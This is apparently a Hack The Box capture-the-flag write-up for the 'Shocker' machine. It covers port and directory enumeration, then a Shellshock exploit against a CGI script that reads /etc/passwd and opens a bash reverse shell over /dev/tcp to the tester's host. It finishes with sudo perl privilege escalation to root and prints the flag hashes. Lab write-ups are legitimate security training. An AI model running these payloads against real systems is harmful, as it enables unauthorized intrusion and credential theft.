0xPThree

Pentester, HTB enjoyer
0-day contributor

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  1. [root:/git/htb/shocker]# nmap -Pn -n -sCV 10.10.10.56 (master✱) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn’t have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) | 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DIRB: + http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)

NIKTO: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

  1. Visiting the webpage there’s an image of a blob with a hammer over him, saying “Don’t bug me!”. Binwalking the image gives nothing, so there’s something hidden on the server.

    root@nidus:/git/htb/shocker# ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.56/cgi-bin/FUZZ.sh — snip — user [Status: 200, Size: 118, Words: 19, Lines: 8]

    As we find a .sh file on the server, we can try to see if shellshock is possible with this simple curl poc

    root@nidus:/git/htb/shocker# curl -H ‘User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd’ bash -s :’’ http://10.10.10.56/cgi-bin/user.sh root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash

  2. We got code execution, grab yourself a reverse shell.

    root@nidus:/git/htb/shocker# curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.10/4488 0>&1’ http://10.10.10.56/cgi-bin/user.sh

    [root:/git/htb/shocker]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.56] 47484 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ whoami shelly shelly@Shocker:/usr/lib/cgi-bin$ cat ~/user.txt a66751f2be1833726a055593ef238628

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  1. There’s nothing obvious in /home/shelly/, /tmp/, /opt/ or /dev/shm/, lets run ‘sudo -l’ to check if we can exploit any binary.

shelly@Shocker:/dev/shm$ sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl

shelly@Shocker:/dev/shm$ sudo perl -e ‘exec “/bin/sh”;’ # whoami root # cat /root/root.txt fabc18579c97f3e07d51ac084d01d6fb

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